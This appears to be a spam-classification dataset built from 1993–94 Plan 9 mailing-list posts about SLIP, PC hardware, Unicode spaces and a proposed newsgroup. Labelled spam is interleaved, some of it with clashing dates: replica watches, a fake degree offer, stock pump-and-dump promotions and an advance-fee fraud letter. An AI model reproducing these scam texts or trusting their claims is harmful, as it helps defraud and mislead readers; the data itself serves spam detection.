From: Mike Haertel > To: 9fans@cse.psu.edu > Subject: SLIP > > has anybody implemented slip for Plan 9? Gosh, doesn't *everyone* have T1 lines to their houses?!?",0,0 Tess ,marie@colossus.cse.psu.edu,"Tue, 09 Nov 1993 01:00:21 -0800",Wonder Ephedra is back,"! stinky may retina a threesome a mario on alvin ",1,0 Jerry Kent Rayome ,plan9-fans,"Thu, 18 Nov 1993 18:05:35 -0500","Restrictions of ""delete"" command in Plan9","Greetings! We are not using authentication on our Plan 9 system, so we cannot test this ourselves. My question is: With auth enabled, will I still be able to delete any file in the file system using delete from the file server console? We believe that there are ?basically? no restrictions. However, I have been told that the console will only delete files that are owned by adm. This would not seem to make administrative sense. Any responses will be welcomed. Flames are expected, considering this sounds like a trivial question. ************************************************************************** Jerry Rayome: Financially challenged graduate student in Computer Science. ""Everything is possible, unless the file server crashes. Then, nothing is possible!"" - Myself __________________________________________________________________________",0,0 James ,alma@groucho.cse.psu.edu,"Thu, 02 Dec 1993 20:52:41 -0800",Fw: This is something you had to see.,"F A S T T R A C K D E G R E E P R O G R A M Obtain the degree you deserve, based on your present knowledge and life experience. A prosperous future, money earning power, and the Admiration of all. Deg rees from an Established, Pres tigious, Leading Institution. Your Degree will show exactly what you really can do. Get the Job, Promotion, Business Opportunity and Social Advancement you Desire! Eliminates classrooms and traveling. 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As the machine is old the only fisable io ports are the serial and parallel ports (I got the machine running plan 9 using floopies). I also have a 486 PC running plan 9 which uses a unix box as the file server. One solution I thought of was using a modem to call a SLIP server, thus getting onto the net. Has anyone done this? Is there code available? Another possible solution might be to connect via a serial line to the 486 machine and some how talk 9P. Again, has anyone done this? Any other ideas? thanks sean quinlan ",0,0 bob@joyce.cs.su.oz.au,9fans@cse.psu.edu,"Fri, 21 Jan 1994 21:47:30 -0500",Re: Connecting a portable via a serial line.,"Gary Capel and David Hogan (dhog@cs.su.oz.au) have a slip stream module and it works ok. I have a Compaq laptop with an ethernet card that works very well. Bob. ",0,0 Ray Roper ,Estella ,"Sun, 23 Jan 1994 15:32:04 -0100",High quality watches,"Get the Finest Rolex Watch Replica We only sell premium watches. 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Golden Apple Oil and Gas, Inc has opened a Canadian office in Toronto, Ontario to facilitate the management of its Canadian operations. All correspondence and communication will continue to be serviced by the company's head office staff in Phoenix Arizona. This looks very lucrative in coming weeks, Get GAPJ First Thing Monday hobbles USAF intestines constructed archiving Fatima iced Chaplin crowing anemometry Valparaiso butter Gloria dogmas Melinda dogmas armchairs incomputable closers anchor bellwethers colonials battleship adulthood gluey gospels activity determines colonials cannibalize drug launderer",1,0 Vijay Gill ,9fans@cse.psu.edu,"Wed, 26 Jan 1994 13:11:32 -0500",Configuration of a new plan 9 system,"This message has three functions. 1) To see if I got subscribed to the list. So if anyone sees this, mail me back. I don't care if I get flooded, life is slow right about now ;). 2) If you see this, and I am not properly subscribed, please tell me how to go about it. 3) Anyone have any experiences in installing plan 9 on 80386 machines? thanks, vijay gill (vijay@umbc.edu) ",0,0 Vijay Gill ,9fans@cse.psu.edu,"Wed, 26 Jan 1994 15:06:53 -0500",any new documents?,"I have all the old documents including all the dist/plan9docs and the dist/plan9man printed out. These are slightly old to say the least. Then I went to plan9.att.com and via anon-ftp got some more files, which seemed to be newer and more upto date than the ones on research.att.com. These files, however, are in a .ms format, which doesn't seem to be liked by our IRIX nroff -ms. It just prints some sort of format, but it is not very good. What I am interested in is postscript format or straight ascii of these docs. Especially nofileserver.ms - which details how to get a plan 9 system up on a stand alone machine. Any help, pointers, whatever would be appreciated. Also, do any plan 9 sites have a guest login of some sort so I can test it out. I have managed to coerce our faculty into asking for a licence and the CD from ATT ;) so expect to see a new plan 9 system coming up soon at a site near you. Might take a while as I wrangle for a 486 machine with sufficient disk. Can you use rlogin/telnet into a plan 9 system? In short, will it work over a modem/vt100 combo or will I have to set up PPP/SLIP. Go plan9 vijay gill (vijay@umbc.edu) ",0,0 gary@moria.cs.su.OZ.AU,9fans-owner@cse.psu.edu,"Wed, 26 Jan 1994 15:46:38 -0500",Re: Configuration of a new plan 9 system,"yup, you're subscribed >3) Anyone have any experiences in installing plan 9 on 80386 machines? I use a (diskless) 386 as a terminal (486 actually), and was using a 486 at home as a standalone. ",0,0 gary@moria.cs.su.OZ.AU,9fans-owner@cse.psu.edu,"Wed, 26 Jan 1994 15:50:56 -0500",Re: any new documents?,"will send you postscript version of nofileserver.ms >Can you use rlogin/telnet into a plan 9 system? In short, will it work >over a modem/vt100 combo or will I have to set up PPP/SLIP. Not sure what sort of system you're setting up. If you're running the PC standalone, you work AT the PC. If you're using the PC as a terminal, connected to CPU server/file server, you'd be connected with ethernet. There _is_ a SLIP stream module written here that seems to work, I was using that to connect from home. You won't need a huge amount of disk space, I have a 120M partition for Plan9, and that's heaps, probably 60 would be ample, (but don't quote me on that) (but that's without full source). I've been busy playing with getting it working with a bootp boot prom, and using a Stealth Pro graphics card to get 1600x985 screen (essential or at least very nice for using help) and now have quite an OK terminal. Good luck getting things up and running (afraid I won't be able to help you much there, wasn't involved getting things started here). ",0,0 Vijay Gill ,9fans@cse.psu.edu,"Wed, 26 Jan 1994 16:04:43 -0500",done with the files,"I have been sent the postscript version of the Poor man's installation file. Thanks. vijay ",0,0 yodaiken@sphinx.nmt.edu,9fans@cse.psu.edu,"Wed, 26 Jan 1994 17:37:07 -0500",Sparc IPCs,"Any experience running 9 on an IPC? Any experience booting 9 using a UNIX system as a file server -- we don't have a sparce 600meg disk sitting about. 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",0,0 arnold@cc.gatech.edu,Vijay Gill ,"Fri, 28 Jan 1994 16:49:13 -0500",Re: how long does it take for the licence?,"> Date: Fri, 28 Jan 1994 16:21:46 -0500 > From: Vijay Gill > Subject: how long does it take for the licence? > To: 9fans plan9 users list <9fans@cse.psu.edu> > > Ok, I just got a letter written up and signed, requesting the plan 9 > licence and CD-ROM and am sending it to Neera Kuckreja today. > My question is: How long does it take for the licence and CD-ROM > to show up? > The letter is on the official letterhead, + signed by a faculty member. > Would they need anything else? Eg, photocopy of Faculty ID or something? You will get a license form back from AT&T. Your lawyers have to agree to it & someone appropriate in your university will have to sign it. It took ~ 7 months here before things were settled. *After* that, you get the cd & doc pretty quickly. Arnold Robbins --- Continuing Education, College of Computing Georgia Tech, Atlanta, GA 30332-0280 Phone: +1 404 894 9214 (has voice mail) E-mail: arnold.robbins@cc.gatech.edu FAX: +1 404 853 9378 ""I'm just a hitchhiker along the Information Superhighway."" -- Me",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Fri, 28 Jan 1994 18:37:46 -0500",spaces in filenames,"One of the features of plan 9 is that, thanks to unicode, people with non-ascii names can have their real names as their login names. But that isn't the whole story. Some people have spaces in their names. Ursula K. Le Guin should be able to log in as ``Le Guin'', but since ascii space is disallowed in filenames, she couldn't have the right home directory. That's kind of a shame. ",0,0 rob@plan9.att.com,9fans@cse.psu.edu,"Fri, 28 Jan 1994 19:01:59 -0500",,"hey, unicode has a gajillion space characters to choose from, and only one of them is disallowed in file names. here are some of the others, from grep space /lib/unicode. get with the program, mon. 00a0 non-breaking space; = iso no-break space; x (space - 0020) 0400 x (non-breaking space - 00a0) 0600 x (non-breaking space - 00a0) 2002 en space 2003 em space 2004 three-per-em space 2005 four-per-em space 2006 six-per-em space 2007 figure space 2008 punctuation space 2009 thin space 200a hair space 200b zero width space 2422 blank; graphic for space; x (latin small letter b bar - 0180) 3000 ideographic space; x (space - 0020) 303f ideographic half fill space ",0,0 Scott Schwartz ,rob@plan9.att.com,"Fri, 28 Jan 1994 19:25:12 -0500",," | hey, unicode has a gajillion space characters to choose from, | and only one of them is disallowed in file names. But it is the one that 8.5 connects to my spacebar. :-) | get with the program, mon. Ouch. I know about the funny spaces, but I'm uncertain what the program is. Why doesn't isspace() recognise them, for example? When awk goes to split input into fields, I can see why one might not want it to split on the non-breaking-space or the graphic-for-space, but what about the others? ",0,0 rob@plan9.att.com,9fans@cse.psu.edu,"Fri, 28 Jan 1994 19:30:19 -0500",,"isspace() is an ASCII-ism. ANSI C has nothing helpful to say on the topic of collation and expanded character sets. if you have input and are prepared to defend your position, comp.std.character-set.flames.R.us is your oyster. -rob ",0,0 Isiah Garland ,haley@groucho.cse.psu.edu,"Sat, 29 Jan 1994 21:34:47 -0520",with a 0tc 1E0NARD updated CECI1 s 0tc,"Hot Voip sector. Watch Alert starting now. Add iZON to your radars now The Company had earlier announced the increase of its network infrastructure and capacity to four times its initial implementation inZon Corp iZON Big News for iZON inZon Corp. Announces Network Migration Complete DELRAY BEACH, Fla.--(BUSINESS WIRE)--May 9, 2006--inZon Corporation (OTCBB:IZON - News), a dynamic global telecommunication service participant in the fast growing Voice over Internet Protocol (VoIP) wholesale telecom market, announced today that it has now completed the migration of the entirety of its customer traffic to its own private global VoIP network, which is wholly owned by the Company. (Partial clip only) Go read the entire release asap. Said inZon's CEO, David F. Levy, ""We are delighted with this achievement, which will substantially boost operating margins and further accelerate rapid growth in customer traffic."" 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I want the Gnot. Now onto some more questions: There was a post about creating comp.os.plan9. What happened? I think I saw somewhere that plan 9 was going to go primetime, i.e, commercial. Any people in the know able to confirm/deny? Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 strat@ksu.ksu.edu,vijay@gl.umbc.edu,"Fri, 04 Feb 1994 11:50:54 -0500",Re: Gnots,">From the keyboard of Vijay Gill: > There was a post about creating comp.os.plan9. What happened? Anyone interested in getting comp.os.plan9 should read read the ""How to Create a New Usenet Newsgroup"" faq. The URL is: ftp://rtfm.mit.edu/pub/usenet-by-group/news.groups/How_to_Create_a_New_Usenet_Newsgroup In general, somebody needs to draft up a Request For Comments, including a proposed charter of the new newsgroup and make it available. Then, if there's any interest out in net land, have a vote. I haven't seen a RFC for comp.os.plan9, so I assume nobody has gone this far. If nobody else steps forward, I could write up a RFC. > I think I saw somewhere that plan 9 was going to go primetime, > i.e, commercial. Any people in the know able to confirm/deny? I am interested in knowing this as well. -- Steve Davis (strat@ksu.ksu.edu) Kansas State University ",0,0 schoenfr@ibr.cs.tu-bs.de,strat@ksu.ksu.edu,"Fri, 04 Feb 1994 12:27:27 -0500",creating a newsgroup [was Re: Gnots],"Hi! > There was a post about creating comp.os.plan9. What happened? Steve> ftp://rtfm.mit.edu/pub/usenet-by-group/news.groups/How_to_Create_a_New_Usenet_Newsgroup Steve> In general, somebody needs to draft up a Request For Comments, Steve> including a proposed charter of the new newsgroup and make it Steve> available. Then, if there's any interest out in net land, Steve> have a vote. If I get it right, no RFC (Request For Comments) is needed (or helpful). Here is very rough the guideline (no warranty): The first step is a RFD (Request For Discussion) to the moderated group news.announce.newgroups with the desired name and charter of the group. The discussion period takes at least 30 days. Then it is possible to post a CFV (Call For Votes) again with (a possibly new) charter and instruction how to cast a vote. The voting takes between 21 and 31 days. Then the results are posted and after a 5 days waiting period 100 or more YES votes are needed and a 2/3 majority over the NO votes are neccessary to create the group. The complete ``How to Create a New Usenet Newsgroup'' is appended. Erik -- Path: bloom-beacon.mit.edu!nic.hookup.net!swrinde!cs.utexas.edu!uunet!not-for-mail From: tale@uunet.uu.net (David C Lawrence) Newsgroups: news.announce.newusers,news.groups,news.admin.misc,news.announce.newgroups,news.answers Subject: How to Create a New Usenet Newsgroup Supersedes: Followup-To: news.newusers.questions Date: 1 Feb 1994 19:12:36 -0500 Organization: UUNET Technologies Inc, Falls Church, VA, USA Lines: 157 Approved: tale@uunet.uu.net Expires: 3 Apr 94 12:12:34 GMT Message-ID: NNTP-Posting-Host: rodan.uu.net Summary: creating new groups in comp, misc, news, rec, sci, soc, or talk Xref: bloom-beacon.mit.edu news.announce.newusers:397 news.groups:37212 news.admin.misc:7804 news.announce.newgroups:1811 news.answers:14803 Archive-name: creating-newsgroups/part1 Original-author: woods@ncar.ucar.edu (Greg Woods) Comment: enhanced & edited until 5/93 by spaf@cs.purdue.edu (Gene Spafford) Last-change: 30 Nov 1993 by tale@uunet.uu.net GUIDELINES FOR USENET GROUP CREATION REQUIREMENTS FOR GROUP CREATION: These are guidelines that have been generally agreed upon across USENET as appropriate for following in the creating of new newsgroups in the ""standard"" USENET newsgroup hierarchy. They are NOT intended as guidelines for setting USENET policy other than group creations, and they are not intended to apply to ""alternate"" or local news hierarchies. The part of the namespace affected is comp, news, sci, misc, soc, talk, rec, which are the most widely-distributed areas of the USENET hierarchy. Any group creation request which follows these guidelines to a successful result should be honored, and any request which fails to follow these procedures or to obtain a successful result from doing so should be dropped, except under extraordinary circumstances. The reason these are called guidelines and not absolute rules is that it is not possible to predict in advance what ""extraordinary circumstances"" are or how they might arise. It should be pointed out here that, as always, the decision whether or not to create a newsgroup on a given machine rests with the administrator of that machine. These guidelines are intended merely as an aid in making those decisions. The Discussion 1) A request for discussion on creation of a new newsgroup should be posted to news.announce.newgroups, and also to any other groups or mailing lists at all related to the proposed topic if desired. The group is moderated, and the Followup-to: header will be set so that the actual discussion takes place only in news.groups. Users on sites which have difficulty posting to moderated groups may mail submissions intended for news.announce.newgroups to newgroups@uunet.uu.net. The article should be cross-posted among the newsgroups, including news.announce.newgroups, rather than posted as separate articles. Note that standard behaviour for posting software is to not present the articles in any groups when cross-posted to a moderated group; the moderator will handle that for you. 2) The name and charter of the proposed group and whether it will be moderated or unmoderated (and if the former, who the moderator(s) will be) should be determined during the discussion period. If there is no general agreement on these points among the proponents of a new group at the end of 30 days of discussion, the discussion should be taken offline (into mail instead of news.groups) and the proponents should iron out the details among themselves. Once that is done, a new, more specific proposal may be made, going back to step 1) above. 3) Group advocates seeking help in choosing a name to suit the proposed charter, or looking for any other guidance in the creation procedure, can send a message to group-advice@uunet.uu.net; a few seasoned news administrators are available through this address. The Vote Currently, the use of the Usenet Volunteer Votetakers (UVV) is strongly advocated for all newsgroup proposals. Ron Dippold co-ordinates this group. Contact him to arrange the handling of the vote. The mechanics of vote will be handled in accord with the paragraphs below. 1) AFTER the discussion period, if it has been determined that a new group is really desired, a name and charter are agreed upon, and it has been determined whether the group will be moderated and if so who will moderate it, a call for votes may be posted to news.announce.newgroups and any other groups or mailing lists that the original request for discussion might have been posted to. There should be minimal delay between the end of the discussion period and the issuing of a call for votes. The call for votes should include clear instructions for how to cast a vote. It must be as clearly explained and as easy to do to cast a vote for creation as against it, and vice versa. It is explicitly permitted to set up two separate addresses to mail yes and no votes to provided that they are on the same machine, to set up an address different than that the article was posted from to mail votes to, or to just accept replies to the call for votes article, as long as it is clearly and explicitly stated in the call for votes article how to cast a vote. If two addresses are used for a vote, the reply address must process and accept both yes and no votes OR reject them both. 2) The voting period should last for at least 21 days and no more than 31 days, no matter what the preliminary results of the vote are. The exact date that the voting period will end should be stated in the call for votes. Only votes that arrive on the vote-taker's machine prior to this date will be counted. 3) A couple of repeats of the call for votes may be posted during the vote, provided that they contain similar clear, unbiased instructions for casting a vote as the original, and provided that it is really a repeat of the call for votes on the SAME proposal (see #5 below). Partial vote results should NOT be included; only a statement of the specific new group proposal, that a vote is in progress on it, and how to cast a vote. It is permitted to post a ""mass acknowledgement"" in which all the names of those from whom votes have been received are posted, as long as no indication is made of which way anybody voted until the voting period is officially over. 4) ONLY votes MAILED to the vote-taker will count. Votes posted to the net for any reason (including inability to get mail to the vote-taker) and proxy votes (such as having a mailing list maintainer claim a vote for each member of the list) will not be counted. 5) Votes may not be transferred to other, similar proposals. A vote shall count only for the EXACT proposal that it is a response to. In particular, a vote for or against a newsgroup under one name shall NOT be counted as a vote for or against a newsgroup with a different name or charter, a different moderated/unmoderated status or (if moderated) a different moderator or set of moderators. 6) Votes MUST be explicit; they should be of the form ""I vote for the group foo.bar as proposed"" or ""I vote against the group foo.bar as proposed"". The wording doesn't have to be exact, it just needs to be unambiguous. In particular, statements of the form ""I would vote for this group if..."" should be considered comments only and not counted as votes. 7) A vote should be run only for a single group proposal. Attempts to create multiple groups should be handled by running multiple parallel votes rather than one vote to create all of the groups. The Result 1) At the completion of the voting period, the vote taker must post the vote tally and the E-mail addresses and (if available) names of the voters received to news.announce.newgroups and any other groups or mailing lists to which the original call for votes was posted. The tally should include a statement of which way each voter voted so that the results can be verified. 2) AFTER the vote result is posted, there will be a 5 day waiting period, beginning when the voting results actually appear in news.announce.newgroups, during which the net will have a chance to correct any errors in the voter list or the voting procedure. 3) AFTER the waiting period, and if there were no serious objections that might invalidate the vote, and if 100 more valid YES/create votes are received than NO/don't create AND at least 2/3 of the total number of valid votes received are in favor of creation, a newgroup control message may be sent out. If the 100 vote margin or 2/3 percentage is not met, the group should not be created. 4) The newgroup message will be sent by the news.announce.newgroups moderator at the end of the waiting period of a successful vote. If the new group is moderated, the vote-taker should send a message during the waiting period to David C. Lawrence with both the moderator's contact address and the group's submission address. 5) A proposal which has failed under point (3) above should not again be brought up for discussion until at least six months have passed from the close of the vote. This limitation does not apply to proposals which never went to vote.",0,0 Scott Schwartz ,Vijay Gill ,"Fri, 04 Feb 1994 13:09:24 -0500",Re: Gnots ,"| There was a post about creating comp.os.plan9. What happened? One person suggested it on the net, but I didn't see any followups. Given the light volume on this list, Would there be enough traffic to justify a newsgroup? ",0,0 gary@moria.cs.su.OZ.AU,9fans@cse.psu.edu,"Fri, 04 Feb 1994 15:49:19 -0500",Re: Gnots,"What does a gnot win you? We're working at putting together the ideal terminal using a PC. At the moment, we've got a 486, we boot with tftp, and have 1600x485x2 resolution using Diamond Stealth Pro graphics card. Presently we're using a 17"" monitor (which is usable). We'd like to get a look at a 21"" grey-scale screen. Eizo has one (Aus$2800) but there's no local distributor at the moment so we haven't seen it yet. Has anyone else seen any grey-scale screens around? Any other ideas on best machine for a terminal? We want something already supported by Plan 9, cheapish, with a nice high-res display for large help(1) windows. ",0,0 Vijay Gill ,Gary Capell ,"Fri, 04 Feb 1994 18:14:48 -0500",Re: Gnots,"You mentioned Diamond graphic cards - my question is: do you have drivers for them thar cards? I am still trying to put together a list of supported hardware configurations and so far, haven't gotten very far. Any help will be appreciated. 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And please, no sun 3/50's. I want the Gnot. Now onto some more questions: There was a post about creating comp.os.plan9. What happened? I think I saw somewhere that plan 9 was going to go primetime, i.e, commercial. Any people in the know able to confirm/deny? Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 geoff@plan9.cs.su.oz.au,9fans@cse.psu.edu,"Sun, 06 Feb 1994 12:15:59 -0500",comp.os.plan9,"Alas, that was my call; I've put the RFD for comp.os.plan9 out a couple of times. The first time I couldn't really follow it up, as thesis work intervened. Both times the response didn't justify proceeding to a vote. I had a number of enthusiatic responses via e-mail - but you need 100 more YES votes than NO votes, and there's a hard core of people who vote NO to everything that they aren't personally interested. I didn't want the group to fail, and I don't want to create an alt group (given that Plan 9 really does deserve it's own Big 7 group). I figure I'll wait until after USENIX before bringing it up; who knows? If the folks from Bell publish Plan 9, then we'll probably have trouble _not_ getting a comp.os.plan9 - look at the interest in that astoundingly mediocre and uninteresting Linux thing. Geoff. ",0,0 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Sun, 06 Feb 1994 14:46:41 -0500",Re: comp.os.plan9,"On Sun, 6 Feb 1994 geoff@plan9.cs.su.oz.au wrote: > we'll probably have trouble _not_ getting a comp.os.plan9 - look > at the interest in that astoundingly mediocre and uninteresting > Linux thing. This brings up a point. Editors on plan9. Sam is very nice, no doubt, I've built it on our systems and installed it and now use it exclusively when at school, but not having access to a SLIP line, can't really use sam from home except with sam -d, which is not as convenient as using vi or even, dare I say it, emacs. What I hope someone can help with, is running plan9 over a modem without slip, as the TERM program does for linux, allowing a dialout to an annex box from a home linux box, rlogging into the main system and running term, which allows X to go over the modems without SLIP. Now THAT would make life much easier. There are very many vt220/240/100 terminals out there and I don't expect them to go away very soon, wish plan 9 had better support for them. I guess a 386sx minimal system running plan9 and 8.5 would do the trick but I am not sure if plan9 has term or something similar. vijay ",0,0 Ila Barker ,Rebekah ,,re [12]," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. Lange & Sohne :: Audemars Piguet :: Jaeger-Lecoultre :: IWC :: Officine Panerai Breitling :: Omega :: Tag Heuer Exapmle: ROLEX Full 18K Gold Daytona for MEN - only $269! - Fast delivery - The lowest prices in the world - Worldwide shipping Visit our shop at: http://vgtw130.bankfrrost.com ",1,1 scott@cs.ust.hk,9fans@cse.psu.edu,"Sun, 06 Feb 1994 19:21:22 -0500",Re: comp.os.plan9,"Geoff writes: > Alas, that was my call; I've put the RFD for comp.os.plan9 > out a couple of times. The first time I couldn't really > follow it up, as thesis work intervened. Both times the > response didn't justify proceeding to a vote. I had a number > of enthusiatic responses via e-mail - but you need 100 more > YES votes than NO votes, and there's a hard core of people who > vote NO to everything that they aren't personally interested. I'd like to suggest that, the next time you put out an RFD, you proselytize a little more aggressively. I'm *very* interested in comp.os.plan9, and have been quite surprised that there isn't one already. I'd vote yes (early and often, being from Chicago), but I've never seen the RFD. Perhaps you could put out the RFD to a wider audience, certainly including this mailing list, and maybe including comp.os.linux.misc, comp.sys.notebook, etc. I'd think that many of the people who are interested in Linux (c'mon now, running a more or less full-blown UNIX on something that you can carry around in your backpack is hardly completely devoid of interest...) would be interested in Plan 9 as well, ne? I've saved an 80Mb partition to load Plan 9 onto on my notebook... but haven't had the time to figure out what to do to get it up and running... Somehow having a little box that weighs 5lb and that can boot and run Linux, MSDOS (if you must) *and* Plan 9 appeals greatly to my geekly leanings. :-) _________________________________________________________________ Scott Deerwester | The Hong Kong University of Internet: scott@cs.ust.hk | Science and Technology Phone: (852) 358-6985 | Department of Computer Science ----------------------------------------------------------------- ",0,0 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Mon, 07 Feb 1994 16:42:31 -0500",," The purpose of this list is to maintain a database of hardware that is known to work with plan 9. This should make life easier for those people contemplating the purchase of new hardware. Most of this list is taken directly from what Forsyth sent me. Please do not deluge him with mail, reply to me and I'll try to set up a mechanism to distribute this stuff. The list is starting out for the most selfish of reasons, since I am in the market for some hardware to run plan 9, I thought it would be a good idea to find out what to get. This list will concentrate mostly on the 386/486 clone hardware. While the 386/486 machines are looked upon with derision, they provide the cheapest hardware to run plan 9. However, most of the hardware is only tested with, and comes with drivers for, DOS and Windows, and thus may not work with plan 9. This list details the stuff that works with plan 9. BeginBlurb: Plan 9 on a Mac. No more futzing around. I could deal with plan 9 on a Powerbook 180. End Blurb. Contributors: Most of this hardware list comes from forsyth@minster.york.ac.uk who has done yeoman work to contributing to this list. Actually, come to think of it, his is about the only contribution ;) Here is the list of hardware that will work with plan 9. Other hardware may work with plan 9, but this list will only list stuff that is known to work or stuff that I need confirmation on. ----------------------------------------------------- Bus: ISA VESA EISA (may work with ISA Cards, need confirmation) ----------------------------------------------------- CPU: Intel AMD - To be tested by Forsyth Cyrix - Ditto IBM SLC - Ditto ------------------------------------------------------ Video Cards: This is the trickiest part. SVGA cards all have different ways of configuring and operating high-resolution modes (higher than 640x480 VGA). ET4000 SVGA cards work. S3 911 cards work Paradise cards (reportedly) work. Diamond Stealth Pro cards work, with some changes to devvga.c and lib/vga. This is from Gary Chapel. ------------------------------------------------------ Ethernet cards: WD SMC NE2000 clones (Reset port address it uses might not work on some clones) 3Com 3C509 Etherlink III (need to get some fixes to use the driver under very heavy loads) 3Com 3C503 -- Avoid this one ------------------------------------------------------------ Hard Disk Controllers: Ultrastor 14F SCSI (driver is available by ftp) Adaptec 1542B/Buslogic 542B (driver is available, but hasn't been used very much) Forsyth has added the driver for the Ultrastor 14F. He has used it on both cpu and terminal machines, and also on the file server, running Fujitsu 2624FA disks, Seagate 3283N and Sun CDROM drives. Standard IDE controllers should work. -------------------------------------------------------------- Memory: 8-16 megs should be adequate. More is better. -------------------------------------------------------------- Modems: High speed modems will work but the kernel does not take advantage of the FIFO's in the 16550 UARTS. Forsyth can supply the diffs and the appropriate changes that will work for `hayes', which work fine upto 38400. -------------------------------------------------------------------------- Diskettes: Stick with 3.5"" 1.44 meg or 5.25"". Plan 9 does not work too well with 2.88 meg 3.5"". --------------------------------------------------------------------------- Disks: The pc system on the distribution (Jan 1993 version) supports IDE disks. The IDE driver has a bug in it that causes it to fail on very old Seagate 42 Meg drives (fixed by Forsyth). Modern IDE drives work just fine. ---------------------------------------------------------------------------- This is the list as it stands. If you have plan 9 running on different hardware, please send me details. War stories welcomed, to go into the war stories list. I presently have Forsyth's war story. More input welcomed. I will be looking at putting this stuff up for anon ftp when I have sufficient volume. If there is sufficient interest, I'll post up the war stories that I have. -- Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 Adrian Devries ,audra@groucho.cse.psu.edu,"Mon, 07 Feb 1994 13:01:50 -0700",Re: your AMBtEpN,"Hi X V A C V L P a A m I I e r n L b A A v o a I i L G i z x U e I R t a M n S A ra c http://www.polizuires.com As it is, I can only say that I have hurried home as fast as I could to see that you were safe, and to offer you any help that I can. I shall think more kindly of dwarves after this. Killed the Great Goblin, killed the Great Goblin! he chuckled fiercely to himself. What did you do with the goblin and the Warg? asked Bilbo suddenly. Come and see! said Beorn, and they followed round the house. A ",1,1 Gary Capell ,9fans@cse.psu.edu,"Mon, 07 Feb 1994 20:23:48 -0500","Re: SCSI support for PC, file server?","So does someone have a PC running as a file server somewhere? If it's possible to get a Plan9 cpu server, file server and terminal with three off-the-shelf PCs, it expands the possible market enormously, I think, which means more developers, which means more software, and support for more hardware, which expands the market, which...oh who am I kidding? I didn't even know anyone was working on such a thing. I'd hate for there to be duplication of effort, there's too much to do. I think we're fast approaching the time we need an FTP site to store our various hacks. Also, perhaps people should post to this list what s'ware they have written, and what they are in the process of or planning on writing. We can avoid duplication, maybe even cooperate. BTW, are there dangers or complications with sharing? What does a license restrict you from sharing with the world? What if your code is mostly derived from Bell Labs source? Is there a danger of diverging Plan 9 versions, a la Unix? I think my ideal would be an ftp site of various drivers, ports, and apps which would be treated as beta test, with the working drivers and ports, and apps WORTH cluttering up the name space/disk space, selected by Bell Labs and added to the next distribution. Thoughts? And what are _you_ working on/thinking of working on? BTW, I have a munged version of help(1) that lets you use the view key and has some acme(1) features, i.e. click button 3 on a filename to open, current directory state associated with each window. If anyone wants it, I'm not sure what I'm allowed to do, but _I_ certainly don't mind sharing :-). ",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Mon, 07 Feb 1994 20:01:17 -0500",s3 cards,">> S3 911 cards work >> Diamond Stealth Pro cards work, with some changes >> to devvga.c and lib/vga. This is from >> Gary Chapel. the S3 card also needs changes to devvga.c and lib/vga. SVGA is horrible, just horrible. ",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Mon, 07 Feb 1994 20:08:44 -0500",memory,">> 8-16 megs should be adequate. More is better. it depends on what you are doing. on a standalone machine at home, i have 32 Mb but rarely use more than 5 Mbytes, if that. you need 8-12 Mbytes to link the pc cpu/terminal kernels quickly. i've linked one on a 4 Mbyte 386sx16, but it takes a long time with much paging. on a shared CPU server, or especially a file server, more is better. the catch is that on an ISA bus machine, you can't DMA above 16 Mbytes, so the system must copy the data below 16 Mbytes & DMA from there. at work, i use a 4 Mb 386sx16 as a terminal, which runs 8-1/2 but i run cpu in most windows (except sam -r and seemail). note that unlike most X11 implementations, the editing in each window including mouse handling is done locally, so i'm not affected by load on the network or CPU server. i currently run special-purpose CPU servers (DNS servers, ftp servers) on lots of things that haven't got a lot of memory. for instance, a DNS service runs happily on a 386sx16 with 4 Mbytes running a pc cpu kernel. (in case you wondered, we have a lot of 386sx16 4Mbyte machines about the place.) i am planning to upgrade the CPU on that, but i'll keep it with 4 Mbytes -- that's plenty. on a PC, if you are going to use /dev/bitblt, you have to allow some extra space for the shadow copy of the screen. it's a modest amount at 1 bit-per-pixel, but rather more for 8-bit colour. perhaps one day, with PCI, some of this waste will go away. anyhow, i didn't want anyone to get the wrong idea: plan 9 runs very well on configurations that SunOS, Solaris, Windows/NT and even OS/2 would disdain. remember that you can take advantage of the ease of distribution that the system gives you. ",0,0 gary@moria.cs.su.OZ.AU,9fans@cse.psu.edu,"Mon, 07 Feb 1994 21:48:04 -0500",Re: s3 cards,">the S3 card also needs changes to devvga.c and lib/vga. >SVGA is horrible, just horrible. amen, brother. ",0,0 Frank Shencovic ,frankshen1@emailwave.com,"Mon, 07 Feb 1994 18:14:52 -0400",Read And Comply,"Hello, It is with heartfelt hope that I write to seek yourco-operation and assistance in the content stated below. I am Mr.Frank Shencovic, an accountact. I am the personal account advicer to my late boss , An American; who was a contractor, and a businessman. On the 30th day of October 1999, my client, his wife and their three  children were involved in a car accident in which all occupants of the  vehicle died. My Boss deposited as family belongings in the sum of Fifteen  million British Pounds only (15,000.000.00) with the hope of transferring  it to his country as soon as his contract expires.Since his death I have made severalenquiries to his embassy to locate any of my Boss extended  relatives, but this attempt so far has been unsuccessful. After these several unsuccessful attempts I decided to look for a foreigner  who is willing to help claim this fund, hence I contacted you. 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(D) A VALID COPY OF IDENTITY However, if you wish to help me actualize this, do get back to me so that I will detail you more Altanative email: Frankshen55@yahoo.com Best regards, Mr. Frank Shencovic +447024079234 Msg sent via eMailWave - http://emailwave.com/ - Get your own FREE account and start receiving your eMail.",1,1 geoff@plan9.cs.su.oz.au,9fans-owner@cse.psu.edu,"Tue, 08 Feb 1994 11:51:33 -0500",,"Scott Deerwester: >I'd like to suggest that, the next time you put out an RFD, >you proselytize a little more aggressively. I'm *very* interested >in comp.os.plan9, and have been quite surprised that there isn't 